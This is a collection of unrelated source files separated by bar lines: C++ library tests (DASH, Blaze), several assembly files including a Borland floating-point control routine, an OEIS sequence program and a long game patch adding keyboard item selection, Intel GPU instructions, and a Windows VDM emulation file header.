dash::Team & team = dash::Team::All();
std::stringstream ss;
ss << team;
// Test team deallocation
// Allocate array in scope
{
dash::Array<int> array_local(
10 * dash::size(),
dash::DistributionSpec<1>(dash::BLOCKED),
team);
LOG_MESSAGE("Array allocated, freeing team %s", ss.str().c_str());
team.free();
LOG_MESSAGE("Array going out of scope");
}
// Array will be deallocated when going out of scope
}
TEST_F(TeamTest, SplitTeamSync)
{
auto & team_all = dash::Team::All();
// TODO: This test case has portability issues and fails in
// distributed test environments and NastyMPI.
// Clarify use case and find variant without writing to
// file in `pwd`.
//
SKIP_TEST_MSG("not writing to pwd");
if (team_all.size() < 2) {
SKIP_TEST_MSG("requires at least 2 units");
}
if (!team_all.is_leaf()) {
SKIP_TEST_MSG("team is already splitted. Skip test");
}
// Check if all units are on the same node
dash::util::TeamLocality tloc(dash::Team::All());
if(tloc.num_nodes() > 1){
SKIP_TEST_MSG("test supports only 1 node");
}
LOG_MESSAGE("team_all contains %lu units", team_all.size());
auto & team_core = team_all.split(2);
LOG_MESSAGE("team_core (%d) contains %lu units",
team_core.dart_id(), team_core.size());
if (team_core.num_siblings() < 2) {
SKIP_TEST_MSG("Team::All().split(2) resulted in < 2 groups");
}
ASSERT_EQ_U(team_all, dash::Team::All());
if (team_core.dart_id() == 1) {
LOG_MESSAGE("Unit %d: I am in team %d",
team_core.myid().id, team_core.dart_id());
usleep(1000 * 1000);
if (team_core.myid() == 0) {
std::ofstream outfile ("test.txt");
}
}
LOG_MESSAGE("team_all.myid(): %d, team_core.myid(): %d, dash::myid(): %d",
team_all.myid().id, team_core.myid().id, dash::myid().id);
LOG_MESSAGE("team_all.position(): %lu, team_core.position(): %lu",
team_all.position(), team_core.position());
LOG_MESSAGE("team_all.dart_id(): %d, team_core.dart_id(): %d",
team_all.dart_id(), team_core.dart_id());
team_all.barrier();
if (team_core.position() == 0) {
LOG_MESSAGE("Unit %d: I am in team %d",
team_core.myid().id, team_core.dart_id());
if (team_core.myid() == 0) {
std::ifstream infile("test.txt");
bool file_exists = infile.good();
ASSERT_EQ_U(file_exists, true);
}
}
team_all.barrier();
if (team_all.myid() == 0) {
std::remove("test.txt");
}
}
|
;[]-----------------------------------------------------------------[]
;| CTRL87.ASM -- access floating-point control word |
;[]-----------------------------------------------------------------[]
;
; C/C++ Run Time Library - Version 10.0
;
; Copyright (c) 1991, 2000 by Inprise Corporation
; All Rights Reserved.
;
; $Revision: 9.2 $
include RULES.ASI
; Segments Definitions
Header@
;----------------------------------------------------------------------
; External variables
Data_Seg@
ExtSym@ _default87, dword, cdecl ; default x87 control word
Data_EndS@
;---------------------------------------------------------------------
;
;Name _control87 - access floating-point control word
;
;Usage unsigned int _control87(unsigned int new, unsigned int mask);
;
;Prototype in float.h
;
;Description This function is used to retrieve or change the floating-
; point control word.
;
; For every bit that is on in mask, the corresponding bit
; in the floating-point control word is set to the value
; of that bit in new.
;
;Return value The new floating-point control word value is returned.
;
;Notes:
;The Denormal exception is always trapped on the 8087 and 80287, but
;never on the 80387. The emulator never generates it.
;
;The Invalid exception is always trapped, as FPU stack overflows and
;underflows can sometimes be repaired transparently, but sometimes
;also cause nonrecoverable fatal errors.
;
;Caution:
;The control word should not be changed directly, unless you wish
;to bypass the RTL trap handling.
;
;It is dangerous to unmask an exception unless the status bit is already
;clear. To be safe, call _clear87() first.
;
;---------------------------------------------------------------------
Code_seg@
Func@ _control87, _EXPFUNC, _RTLENTRY, <int new>, <int cwmask>
Locals@ <int Control>
Link@
fstcw Control ; get current control word
mov eax, new ; get new value of CW
mov ecx, cwmask ; get mask
jecxz skip_clobber ; don't clobber default87 if
; not modifying the cw.
mov _default87@, eax ; update the RTLs default so that
; fpreset uses this new CW
skip_clobber:
and eax, ecx ; apply mask to new value
not ecx ; invert the mask
fwait
movzx edx, word ptr Control ; get the current CW (zero high word)
and edx, ecx ; clear bits that were 1 in mask
or eax, edx ; insert bits from new value
mov Control, ax ; save low word in memory
fldcw Control ; then load it into the x87
Unlink@
Return@
EndFunc@ _control87
Code_EndS@
end
|
//=================================================================================================
/*!
// \file src/mathtest/dvecexpand/VUa.cpp
// \brief Source file for the VUa dense vector expansion operation math test
//
// Copyright (C) 2012-2019 Klaus Iglberger - All Rights Reserved
//
// This file is part of the Blaze library. You can redistribute it and/or modify it under
// the terms of the New (Revised) BSD License. Redistribution and use in source and binary
// forms, with or without modification, are permitted provided that the following conditions
// are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other materials
// provided with the distribution.
// 3. Neither the names of the Blaze development group nor the names of its contributors
// may be used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
// OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
// SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
// TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
// BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
// ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
// DAMAGE.
*/
//=================================================================================================
//*************************************************************************************************
// Includes
//*************************************************************************************************
#include <cstdlib>
#include <iostream>
#include <blaze/math/UniformVector.h>
#include <blazetest/mathtest/Creator.h>
#include <blazetest/mathtest/dvecexpand/OperationTest.h>
#include <blazetest/system/MathTest.h>
#ifdef BLAZE_USE_HPX_THREADS
# include <hpx/hpx_main.hpp>
#endif
//=================================================================================================
//
// MAIN FUNCTION
//
//=================================================================================================
//*************************************************************************************************
int main()
{
std::cout << " Running 'VUa'..." << std::endl;
using blazetest::mathtest::TypeA;
try
{
// Vector type definitions
using VUa = blaze::UniformVector<TypeA>;
// Creator type definitions
using CVUa = blazetest::Creator<VUa>;
// Running tests with small vectors
for( size_t i=0UL; i<=6UL; ++i ) {
RUN_DVECEXPAND_OPERATION_TEST( CVUa( i ) );
}
// Running tests with large vectors
RUN_DVECEXPAND_OPERATION_TEST( CVUa( 127UL ) );
RUN_DVECEXPAND_OPERATION_TEST( CVUa( 128UL ) );
}
catch( std::exception& ex ) {
std::cerr << "\n\n ERROR DETECTED during dense vector expansion operation:\n"
<< ex.what() << "\n";
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
//*************************************************************************************************
|
; A218749: a(n) = (46^n-1)/45.
; 0,1,47,2163,99499,4576955,210539931,9684836827,445502494043,20493114725979,942683277395035,43363430760171611,1994717814967894107,91757019488523128923,4220822896472063930459,194157853237714940801115,8931261248934887276851291,410838017451004814735159387,18898548802746221477817331803,869333244926326187979597262939,39989329266611004647061474095195,1839509146264106213764827808378971,84617420728148885833182079185432667
mov $1,46
pow $1,$0
div $1,45
mov $0,$1
|
.file "kernel.c"
.code16gcc
.intel_syntax noprefix
.text
.globl _pcbPtr
.data
.align 4
_pcbPtr:
.long _Pcb
.globl _Pcb
.bss
.align 4
_Pcb:
.space 28
.ident "GCC: (MinGW.org GCC-8.2.0-5) 8.2.0"
|
;
; Shared variables between the VT100 and VT52 engines
MODULE conio_vars
SECTION data_clib
PUBLIC __x1_attr
.__x1_attr defb $7 ; White on Black
|
%assign RESULT_CAPACITY 0x100
%assign SelectMode_NONE 0
%assign SelectMode_CLASSIFIED 1
%assign SelectMode_USE 2
%assign SelectMode_TALK 4
%assign SelectMode_GET 8
%assign SelectMode_ANY -1
%assign FindResult_ibo 0
%assign FindResult_distance 2
%assign FindResult_SIZE 4
%assign tk_selectMode 0x000
%assign tk_resultCount 0x002
%assign tk_selectedIndex 0x004
%assign tk_results 0x020
%assign tk_typeSelectModeBits tk_results + RESULT_CAPACITY * FindResult_SIZE
%assign tk_SIZE tk_typeSelectModeBits + 0x400
[bits 16]
startPatch EXE_LENGTH, eop-targetKeys
startBlockAt addr_eop_targetKeys
push bp
mov bp, sp
; bp-based stack frame:
%assign arg_isContinuation 0x06
%assign arg_pn_selectedIbo 0x04
%assign ____callerIp 0x02
%assign ____callerBp 0x00
%assign var_keyCode -0x02
%assign var_selectMode -0x04
%assign var_selectionDirection -0x06
%assign var_avatarX -0x08
%assign var_avatarY -0x0A
%assign var_avatarZ -0x0C
%assign var_maxX -0x0E
%assign var_maxY -0x10
%assign var_minX -0x12
%assign var_minY -0x14
%assign var_itemX -0x16
%assign var_itemY -0x18
%assign var_selectedIbo -0x1A
%assign var_keyOpenableIbo -0x1C
%assign var_findItemQuery -0x50
%assign var_labelText -0xA0
%assign var_template -0xC0
%assign var_printText -0xE0
%assign var_printX -0xE2
%assign var_printY -0xE4
add sp, var_printY
push esi
push edi
push VOODOO_SELECTOR
pop fs
callFromOverlay cyclePalette
; load address of previously allocated memory
mov esi, [dseg_pf_targetKeysData]
test esi, esi
jnz haveDataAddress
; memory not previously allocated;
; allocate memory and save the address for future calls
push word 0
push word tk_SIZE
push dseg_pf_voodooXmsBlock
callFromOverlay allocateVoodooMemory
add sp, 6
push dx
push ax
pop esi
test esi, esi
jz returnWithoutIbo
mov [dseg_pf_targetKeysData], esi
; initialize the allocated memory
mov word [fs:esi+tk_selectMode], SelectMode_NONE
xor eax, eax
mov ecx, 0x400 / 4
push VOODOO_SELECTOR
pop es
lea edi, [esi+tk_typeSelectModeBits]
a32 rep stosd
haveDataAddress:
mov word [bp+var_selectedIbo], 0
mov word [bp+var_keyOpenableIbo], 0
clearUnlessContinuing:
cmp byte [bp+arg_isContinuation], 0
jnz .afterClearing
mov word [fs:esi+tk_selectMode], SelectMode_NONE
.afterClearing:
recallPreviouslySelectedItem:
cmp word [fs:esi+tk_selectMode], SelectMode_NONE
jz .noPreviouslySelectedItem
cmp word [fs:esi+tk_resultCount], 0
jz .noPreviouslySelectedItem
movzx ebx, word [fs:esi+tk_selectedIndex]
mov ax, [fs:esi+tk_results + ebx*4 + FindResult_ibo]
mov [bp+var_selectedIbo], ax
.noPreviouslySelectedItem:
push 1
callFromOverlay pollKey
pop cx
mov [bp+var_keyCode], ax
cmp word [bp+var_keyCode], 0
jz returnWithoutIbo
tryOpenableItemKey:
push word [bp+var_keyCode]
callVarArgsEopFromOverlay openableItemForKey, 1
pop cx
test ax, ax
jz .notOpenableItemKey
mov [bp+var_keyOpenableIbo], ax
jmp select
.notOpenableItemKey:
; Enter key to select current find-result
cmp word [bp+var_keyCode], 13
jz select
; Escape key to cancel selection
cmp word [bp+var_keyCode], 27
jz cancelSelect
trySelectModeKey:
jmp .selectModeKeys_end
%assign SelectModeKey_SIZE 6
%macro defineSelectModeKey 3
dw %1, %2, %3
%endmacro
.selectModeKeys:
defineSelectModeKey 'a', SelectMode_ANY, 1
defineSelectModeKey 'A', SelectMode_ANY, -1
defineSelectModeKey 'g', SelectMode_GET, 1
defineSelectModeKey 'G', SelectMode_GET, -1
defineSelectModeKey 'r', SelectMode_USE, 1
defineSelectModeKey 'R', SelectMode_USE, -1
defineSelectModeKey 't', SelectMode_TALK, 1
defineSelectModeKey 'T', SelectMode_TALK, -1
.selectModeKeys_end:
mov ax, [bp+var_keyCode]
mov bx, offsetInCodeSegment(.selectModeKeys)
.forSelectModeKey:
cmp bx, offsetInCodeSegment(.selectModeKeys_end)
jae .notSelectModeKey
cmp ax, [cs:bx+0]
jnz .notThisSelectModeKey
mov ax, [cs:bx+2]
mov word [bp+var_selectMode], ax
mov ax, [cs:bx+4]
mov word [bp+var_selectionDirection], ax
jmp haveFilter
.notThisSelectModeKey:
add bx, SelectModeKey_SIZE
jmp .forSelectModeKey
.notSelectModeKey:
jmp returnWithoutIbo
select:
trySelectForUsecode:
cmp byte [dseg_isSelectingFromEopTarget], 0
jnz .notSelectForUsecode
mov ax, [bp+var_keyOpenableIbo]
test ax, ax
jz .notKeyOpenable
mov [bp+var_selectedIbo], ax
.notKeyOpenable:
cmp word [bp+var_selectedIbo], 0
jz .notSelectForUsecode
jmp returnSelectedByRef
.notSelectForUsecode:
tryGet:
cmp word [fs:esi+tk_selectMode], SelectMode_GET
jnz .notGet
cmp word [bp+var_selectedIbo], 0
jz returnWithoutIbo
call canAvatarReachSelected
test al, al
jz forbidSelect
; subject of get is key-selected item, or Avatar
mov ax, [bp+var_keyOpenableIbo]
test ax, ax
jnz .haveSubject
mov ax, [dseg_avatarIbo]
.haveSubject:
push word [bp+var_selectedIbo]
push ax
call getObjectWithSubject
pop cx
pop cx
jmp cancelSelect
.notGet:
tryAttack:
cmp word [fs:esi+tk_selectMode], SelectMode_TALK
jnz .notAttack
callFromOverlay isAvatarInCombat
test ax, ax
jz .notAttack
cmp word [bp+var_selectedIbo], 0
jz returnWithoutIbo
.dontAttackPartyMember:
lea ax, [bp+var_selectedIbo]
push ax
callFromOverlay Item_isPartyMember
pop cx
jz .notPartyMember
; forbid ordering one party member to attack another
cmp word [bp+var_keyOpenableIbo], 0
jnz forbidSelect
; rather than attacking party member, open their inventory
jmp .notAttack
.notPartyMember:
.setTarget:
cmp word [bp+var_keyOpenableIbo], 0
jz .attackWithEntireParty
.attackWithOne:
push word [bp+var_selectedIbo]
push word [bp+var_keyOpenableIbo]
call attackTargetWithSubject
pop cx
pop cx
jmp .afterSettingTarget
.attackWithEntireParty:
xor di, di
.forPartyMember:
movzx ax, [dseg_partySize]
cmp di, ax
jae .noMorePartyMembers
mov bx, di
shl bx, 1
push word [bp+var_selectedIbo]
push word [dseg_partyMemberIbos+bx]
call attackTargetWithSubject
pop cx
pop cx
inc di
jmp .forPartyMember
.noMorePartyMembers:
.afterSettingTarget:
jmp cancelSelect
.notAttack:
tryUse:
mov ax, [bp+var_keyOpenableIbo]
test ax, ax
jz .notKeyOpenable
mov [bp+var_selectedIbo], ax
.notKeyOpenable:
cmp word [bp+var_selectedIbo], 0
jz .notUse
.requireReachUnlessTalking:
cmp word [fs:esi+tk_selectMode], SelectMode_TALK
jz .notRequireCanReach
call canAvatarReachSelected
test al, al
jz forbidSelect
.notRequireCanReach:
jmp returnSelectedByRef
.notUse:
jmp returnWithoutIbo
forbidSelect:
push word Sound_CAN_NOT
callFromOverlay playSoundSimple
pop cx
jmp returnWithoutIbo
cancelSelect:
; (could canceling ever be a problem when selecting for Usecode?)
mov word [bp+var_selectedIbo], 0
jmp returnSelectedByRef
haveFilter:
call eraseText
mov ax, [bp+var_selectMode]
cmp word [fs:esi+tk_selectMode], ax
jz stepAndPrint
mov word [fs:esi+tk_resultCount], 0
lea ax, [bp+var_avatarY]
push ax
lea ax, [bp+var_avatarX]
push ax
push dseg_avatarIbo
callFromOverlay Item_getXAndY
add sp, 6
push word [dseg_avatarIbo]
callVarArgsEopFromOverlay getItemZ, 1
pop cx
mov word [bp+var_avatarZ], ax
mov ax, [bp+var_avatarX]
sub ax, 48
mov [bp+var_minX], ax
mov ax, [bp+var_avatarX]
add ax, 48
mov [bp+var_maxX], ax
mov ax, [bp+var_avatarY]
sub ax, 48
mov [bp+var_minY], ax
mov ax, [bp+var_avatarY]
add ax, 48
mov [bp+var_maxY], ax
push word 0xFF ; frame
push word 0xFF ; quality
push word 0xFFFF ; type
push 0 ; flags
lea ax, [bp+var_maxY]
push ax
lea ax, [bp+var_maxX]
push ax
lea ax, [bp+var_minY]
push ax
lea ax, [bp+var_minX]
push ax
lea ax, [bp+var_findItemQuery]
push ax
callFromOverlay findItemInArea
add sp, 18
xor edi, edi
forFoundItem:
cmp edi, RESULT_CAPACITY
jae doneFindingItems
lea ax, [bp+var_findItemQuery]
push ax
callFromOverlay findItem
pop cx
; end of this FindItem query?
cmp word [bp+var_findItemQuery+FindItemQuery_ibo], 0
jz doneFindingItems
; filter out found items by several criteria, roughly in order
; of increasing computational expense
; don't include the avatar in the results
mov ax, [bp+var_findItemQuery+FindItemQuery_ibo]
cmp ax, [dseg_avatarIbo]
jz forFoundItem
; filter out invisible Avatar bodies (type 400, frame 0)
; (they can still be stepped on, though. gruesome AND spooky.)
mov es, [dseg_itemBufferSegment]
mov bx, word [bp+var_findItemQuery+FindItemQuery_ibo]
mov ax, [es:bx+4]
and ax, 0x3FF
cmp ax, 400
jnz notInvisibleAvatarBody
mov ax, [es:bx+4]
and ax, 0x7C00
test ax, ax
jz forFoundItem
notInvisibleAvatarBody:
; filter out types not appropriate for the selectMode
cmp word [bp+var_selectMode], SelectMode_ANY
jz afterFilterByType
mov es, [dseg_itemBufferSegment]
mov bx, word [bp+var_findItemQuery+FindItemQuery_ibo]
mov ax, [es:bx+4]
and ax, 0x3FF
push ax
call classifyType
pop cx
test ax, [bp+var_selectMode]
jz forFoundItem
afterFilterByType:
; filter out if itemZ > ceilingZ
push word [bp+var_findItemQuery+FindItemQuery_ibo]
callVarArgsEopFromOverlay getItemZ, 1
pop cx
cmp ax, [dseg_ceilingZ]
ja forFoundItem
; filter out if coords are far off-screen
lea ax, [bp+var_itemY]
push ax
lea ax, [bp+var_itemX]
push ax
lea ax, [bp+var_findItemQuery+FindItemQuery_ibo]
push ax
callFromOverlay Item_getXAndY
add sp, 6
push dseg_screenCenterWorldX
lea ax, [bp+var_itemX]
push ax
callFromOverlay compareWorldCoords
pop cx
pop cx
cmp ax, -21
jl forFoundItem
cmp ax, 21
jg forFoundItem
push dseg_screenCenterWorldY
lea ax, [bp+var_itemY]
push ax
callFromOverlay compareWorldCoords
pop cx
pop cx
cmp ax, -13
jl forFoundItem
cmp ax, 13
jg forFoundItem
mov ax, [bp+var_findItemQuery+FindItemQuery_ibo]
mov [fs:esi+tk_results + edi*4 + FindResult_ibo], ax
push word [bp+var_avatarZ]
lea ax, [bp+var_avatarY]
push ax
lea ax, [bp+var_avatarX]
push ax
lea ax, [bp+var_findItemQuery+FindItemQuery_ibo]
push ax
callFromOverlay Item_greatestDeltaToCoords
add sp, 8
mov [fs:esi+tk_results + edi*4 + FindResult_distance], ax
inc edi
jmp forFoundItem
doneFindingItems:
mov [fs:esi+tk_resultCount], di
; selection-sort the results by distance
xor edi, edi
forSorted:
cmp di, word [fs:esi+tk_resultCount]
jae haveSortedResults
mov ecx, edi
mov edx, edi
inc edx
forUnsorted:
cmp dx, word [fs:esi+tk_resultCount]
jae ecxHasNearestUnsorted
mov ax, word [fs:esi+tk_results + ecx*4 + FindResult_distance]
cmp ax, word [fs:esi+tk_results + edx*4 + FindResult_distance]
jbe ecxHasNearer
mov ecx, edx
ecxHasNearer:
inc edx
jmp forUnsorted
ecxHasNearestUnsorted:
cmp ecx, edi
jz afterSwapping
xchg eax, [fs:esi+tk_results + edi*4]
xchg eax, [fs:esi+tk_results + ecx*4]
xchg eax, [fs:esi+tk_results + edi*4]
afterSwapping:
inc edi
jmp forSorted
haveSortedResults:
mov word [fs:esi+tk_selectedIndex], 0
mov ax, [bp+var_selectMode]
mov word [fs:esi+tk_selectMode], ax
jmp printSelected
stepAndPrint:
cmp word [fs:esi+tk_resultCount], 0
jz returnWithoutIbo
call eraseText
; increment or decrement selectedIndex, modulo resultCount
mov ax, word [fs:esi+tk_selectedIndex]
add ax, word [bp+var_selectionDirection]
add ax, word [fs:esi+tk_resultCount]
cwd
div word [fs:esi+tk_resultCount]
mov word [fs:esi+tk_selectedIndex], dx
printSelected:
cmp word [fs:esi+tk_resultCount], 0
jz returnWithoutIbo
movzx edi, word [fs:esi+tk_selectedIndex]
mov ax, [fs:esi+tk_results + edi*4 + FindResult_ibo]
mov [bp+var_selectedIbo], ax
push ItemLabelType_NAME
push word [bp+var_selectedIbo]
lea ax, [bp+var_labelText]
push ax
callVarArgsEopFromOverlay produceItemLabelText, 3
add sp, 6
; format the item's label-text with an appropriate template
jmp afterPrintTemplates
selectTemplate: db "select: %s", 0
attackTemplate: db "attack: %s", 0
talkTemplate: db "talk: %s", 0
useTemplate: db "use: %s", 0
getTemplate: db "get: %s", 0
afterPrintTemplates:
trySelectTemplate:
cmp byte [dseg_isSelectingFromEopTarget], 0
jnz .notSelectTemplate
mov ax, offsetInCodeSegment(selectTemplate)
jmp havePrintTemplate
.notSelectTemplate:
tryGetTemplate:
cmp word [fs:esi+tk_selectMode], SelectMode_GET
jnz .notGetTemplate
mov ax, offsetInCodeSegment(getTemplate)
jmp havePrintTemplate
.notGetTemplate:
tryAttackTemplate:
callFromOverlay isAvatarInCombat
test ax, ax
jz .notAttackTemplate
mov ax, offsetInCodeSegment(attackTemplate)
jmp havePrintTemplate
.notAttackTemplate:
tryUseTemplate:
cmp word [fs:esi+tk_selectMode], SelectMode_ANY
jz .useTemplate
cmp word [fs:esi+tk_selectMode], SelectMode_USE
jz .useTemplate
jmp .notUseTemplate
.useTemplate:
mov ax, offsetInCodeSegment(useTemplate)
jmp havePrintTemplate
.notUseTemplate:
mov ax, offsetInCodeSegment(talkTemplate)
havePrintTemplate:
lea bx, [bp+var_template]
fmemcpy ss, bx, cs, ax, 0x10
lea ax, [bp+var_labelText]
push ax
lea ax, [bp+var_template]
push ax
lea ax, [bp+var_printText]
push ax
callFromOverlay sprintf
add sp, 6
lea ax, [bp+var_itemY]
push ax
lea ax, [bp+var_itemX]
push ax
lea ax, [bp+var_selectedIbo]
push ax
callFromOverlay Item_getXAndY
add sp, 6
lea ax, [bp+var_printY]
push ax
lea ax, [bp+var_printX]
push ax
lea ax, [bp+var_itemY]
push ax
lea ax, [bp+var_itemX]
push ax
callFromOverlay worldCoordsToScreen
add sp, 8
; adjust text position for item z (altitude)
push word [bp+var_selectedIbo]
callVarArgsEopFromOverlay getItemZ, 1
pop cx
shl ax, 2
sub [bp+var_printX], ax
sub [bp+var_printY], ax
; center text on item's tile
sub word [bp+var_printX], 8
sub word [bp+var_printY], 8
; TODO: center text on item's shape
; TODO: bound text position to screen
lea ax, [bp+var_printText]
push ax
push TextAlignment_HORIZONTAL_CENTER \
| TextAlignment_VERTICAL_CENTER
push Font_RED
push word [bp+var_printY]
push word [bp+var_printX]
push dseg_viewport
callVarArgsEopFromOverlay printText, 6
add sp, 12
callFromOverlay copyFrameBuffer
; debug-print some diagnostic info about the selected item
jmp debugTemplate_end
debugTemplate:
db '0x%04x (%d) at %u %u,%u %u,%u', 0
debugTemplate_end:
lea bx, [bp+var_template]
fmemcpy ss, bx, \
cs, offsetInCodeSegment(debugTemplate), \
(debugTemplate_end - debugTemplate)
push word [bp+var_printY]
push word [bp+var_printX]
push word [bp+var_itemY]
push word [bp+var_itemX]
push word [fs:esi+tk_results + edi*4 + FindResult_distance]
mov es, [dseg_itemBufferSegment]
mov bx, [bp+var_selectedIbo]
mov ax, [es:bx+4]
and ax, 0x3FF
push ax
push word [bp+var_selectedIbo]
lea ax, [bp+var_template]
push ax
push 1
push 1
callFromOverlay debugPrintfAtCoords
add sp, 20
jmp returnWithoutIbo
returnSelectedByRef:
; clear result so that next invocation will start fresh
mov word [fs:esi+tk_selectMode], SelectMode_NONE
mov bx, [bp+arg_pn_selectedIbo]
mov ax, [bp+var_selectedIbo]
mov [bx], ax
mov ax, 1
jmp returnAx
returnWithoutIbo:
mov ax, 0
returnAx:
pop edi
pop esi
mov sp, bp
pop bp
retn
canAvatarReachSelected:
; (canAvatarReach is computationally expensive; calling it while
; building the list of found items would be too slow.)
movzx ax, [dseg_isHackMoverEnabled]
push ax
lea ax, [bp+var_selectedIbo]
push ax
callFromOverlay canAvatarReach
pop cx
pop cx
retn
getObjectWithSubject:
push bp
mov bp, sp
%assign .arg_objectIbo 0x06
%assign .arg_subjectIbo 0x04
%assign .var_pn_worldArea -0x02
%assign .var_selectedIbo -0x04
%assign .var_itemX -0x06
%assign .var_itemY -0x08
%assign .var_itemZ -0x0A
add sp, .var_itemZ
push esi
push edi
callVarArgsEopFromOverlay ensureDragAndDropAreasInitialized, 0
; configure drop area to try to place the item into the destination
mov bx, [dseg_pn_dropArea]
mov ax, [bp+.arg_subjectIbo]
mov [bx+InventoryArea_ibo], ax
lea ax, [bp+.var_itemY]
push ax
lea ax, [bp+.var_itemX]
push ax
lea ax, [bp+.arg_objectIbo]
push ax
callFromOverlay Item_getXAndY
add sp, 6
push word [bp+.arg_objectIbo]
callVarArgsEopFromOverlay getItemZ, 1
pop cx
mov [bp+.var_itemZ], ax
; configure drag area to place the item back at its original
; position if dropping fails
mov bx, [dseg_pn_dragArea]
mov word [bx+InventoryArea_ibo], 0 ; moving item from world
mov ax, [bp+.arg_objectIbo]
mov word [bx+InventoryArea_draggedIbo], ax
mov ax, [bp+.var_itemX]
mov word [bx+InventoryArea_worldX], ax
mov ax, [bp+.var_itemY]
mov word [bx+InventoryArea_worldY], ax
mov ax, [bp+.var_itemZ]
mov word [bx+InventoryArea_worldZ], ax
; have the game think that our drag area is the world area, so that
; it will apply gravity to newly unsupported items and trigger
; reactions to item movement
mov ax, [dseg_pn_worldArea]
mov [bp+.var_pn_worldArea], ax
mov ax, [dseg_pn_dragArea]
mov [dseg_pn_worldArea], ax
; execute drag, specifying our drag area as the source. our code
; in the patched dragItem loop will notice the configured drop
; area and choose it as the target for dropping.
callFromOverlay getLastMouseState
push ax
push word [dseg_pn_dragArea]
callFromOverlay dragItem
pop cx
pop cx
; restore the world area
mov ax, [bp+.var_pn_worldArea]
mov [dseg_pn_worldArea], ax
pop edi
pop esi
mov sp, bp
pop bp
retn
attackTargetWithSubject:
push bp
mov bp, sp
%assign .arg_targetIbo 0x06
%assign .arg_subjectIbo 0x04
lea ax, [bp+.arg_targetIbo]
push ax
callFromOverlay Item_getNpcNumber
pop cx
push 1 ; isPrimaryVsSecondary
push ax
lea ax, [bp+.arg_subjectIbo]
push ax
callFromOverlay Item_setNpcTarget
add sp, 6
mov sp, bp
pop bp
retn
eraseText:
cmp byte [dseg_isDialogMode], 0
jz .notInDialogMode
callFromOverlay redrawDialogs
jmp .afterRedrawing
.notInDialogMode:
push dseg_camera
callFromOverlay drawWorld
pop cx
.afterRedrawing:
callFromOverlay copyFrameBuffer
retn
classifyType:
push bp
mov bp, sp
%assign arg_itemType 0x04
%assign var_filterBits -0x02
%assign var_item -0x0A
%assign var_pn_item -0x0C
%assign var_linkdep1_0 -0x0E
%assign var_linkdep1_2 -0x10
%assign var_linkdep1_4m0 -0x12
add sp, var_linkdep1_4m0
push esi
push edi
mov esi, [dseg_pf_targetKeysData]
; if we've previously computed a value, we return that value.
movzx ebx, word [bp+arg_itemType]
movzx ax, byte [fs:esi+tk_typeSelectModeBits + ebx]
test ax, SelectMode_CLASSIFIED
jnz .returnAx
mov word [bp+var_filterBits], 0
; determine whether type is talkable by testing its NPC class bit.
mov ax, [bp+arg_itemType]
mov dx, 3
mul dx
mov bx, ax
movzx bx, byte [dseg_itemTypeInfo+bx+1]
and bx, 0xF
shl bx, 1
test word [dseg_itemTypeClassFlags+bx], ItemClassBit_NPC
jz .notTalkable
mov word [bp+var_filterBits], SelectMode_TALK
jmp .recordClassification
.notTalkable:
; determine whether item type is openable. the canBeOpened function
; takes a pointer to an item in the item buffer, while we need to
; make a decision about an item type, so we'll create a fake item
; with the given type in the near segment and pretend that the
; item-buffer segment is the near segment.
; canBeOpened might do bad things if we passed it a fake item with
; an NPC item-type, but an NPC type won't pass through this path
; because it will have been classified as talkable.
lea bx, [bp+var_item]
mov ax, [bp+arg_itemType]
mov [bx+4], ax
mov [bp+var_pn_item], bx
push word [dseg_itemBufferSegment]
mov [dseg_itemBufferSegment], ds
lea ax, [bp+var_pn_item]
push ax
callFromOverlay Item_canBeOpened
pop cx
pop word [dseg_itemBufferSegment]
test al, al
jnz .openable
; determine whether item type is usable by looking it up in the use
; index.
lea ax, [bp+var_linkdep1_2]
push ax
lea ax, [bp+var_linkdep1_4m0]
push ax
lea ax, [bp+var_linkdep1_0]
push ax
push word [bp+arg_itemType]
callFromOverlay lookupLinkdep1
add sp, 8
cmp word [bp+var_linkdep1_2], 0xFFFF
jnz .usable
jmp .notUsable
.openable:
.usable:
or word [bp+var_filterBits], SelectMode_USE
.notUsable:
; determine whether type is gettable. assuming that gettable/movable
; items are those with non-zero weight.
push word [bp+arg_itemType]
callFromOverlay getItemTypeWeight
pop cx
test ax, ax
jz .notGettable
or word [bp+var_filterBits], SelectMode_GET
.notGettable:
.recordClassification:
mov ax, [bp+var_filterBits]
or ax, SelectMode_CLASSIFIED
; record the value so we won't have to compute for this type again.
movzx ebx, word [bp+arg_itemType]
mov byte [fs:esi+tk_typeSelectModeBits + ebx], al
.returnAx:
pop edi
pop esi
mov sp, bp
pop bp
retn
endBlockAt off_eop_targetKeys_end
endPatch
|
fbl(8) g5<1>UD g5<8,8,1>UD { align1 1Q };
fbl(16) g6<1>UD g8<8,8,1>UD { align1 1H };
fbl(1) g43<1>UD mask0<0,1,0>UD { align1 WE_all 1N };
|
title "Vdm Instuction Emulation"
;++
;
; Copyright (c) 1989 Microsoft Corporation
;
; Module Name:
;
; instemul.asm
;
; Abstract:
;
; This module contains the routines for emulating instructions and
; faults to a VDM.
;
; Author:
;
; Dave Hastings (daveh) 29-March-1991
;
; Environment:
;
; Kernel mode only.
;
; Notes:
;
;
;sudeepb 09-Dec-1992 Very Sonn this file will be deleted and protected
; mode instruction emulation will be merged in
; emv86.asm. Particularly following routines will
; simply become OpcodeInvalid.
; OpcodeIret
; OpcodePushf
; OpcodePopf
; OpcodeHlt
